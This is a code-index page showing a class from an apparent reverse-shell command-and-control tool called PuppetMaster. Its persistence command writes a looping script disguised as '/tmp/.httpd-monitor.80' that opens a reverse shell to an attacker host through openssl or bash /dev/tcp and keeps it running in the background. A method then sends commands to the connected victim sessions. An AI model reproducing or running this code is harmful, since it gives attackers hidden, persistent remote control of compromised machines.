MCPcopy Index your code
hub / github.com/R4be1/PuppetMaster / PuppetMaster

Class PuppetMaster

Master.py:36–53  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

34webhook_url = ""
35
36class PuppetMaster:
37 def __init__(self):
38 self.sessions = list()
39 self.handlers = list()
40 self.quiet = False
41 self.Persistence = False
42 self.current_session = None
43 self.DuplicateSession = False
44 self.PersistenceCommand = f'(ps -ef|grep /tmp/.httpd-monitor.80|grep -v grep) || (echo "while true;do sleep 474;(mkfifo /tmp/-;bash -i</tmp/-|&openssl s_client -quiet -connect {reverse_host}:{reverse_ssl_port}>/tmp/-;rm /tmp/-)||(bash -i>&/dev/tcp/{reverse_host}/{reverse_tcp_port} 0>&1); done;">/tmp/.httpd-monitor.80 && chmod +x /tmp/.httpd-monitor.80 && (nohup bash /tmp/.httpd-monitor.80 >/dev/null 2>&1 &))'
45
46 async def execute_cmd(self, command):
47 command = command + "\n"
48 if self.current_session.get("writer") and self.current_session.get("reader"):
49 try:
50 self.current_session["writer"].write( command.encode() )
51 await self.current_session["writer"].drain()
52 except Exception as e:
53 print(e)
54
55
56Puppet_Master = PuppetMaster()

Callers 1

Master.pyFile · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected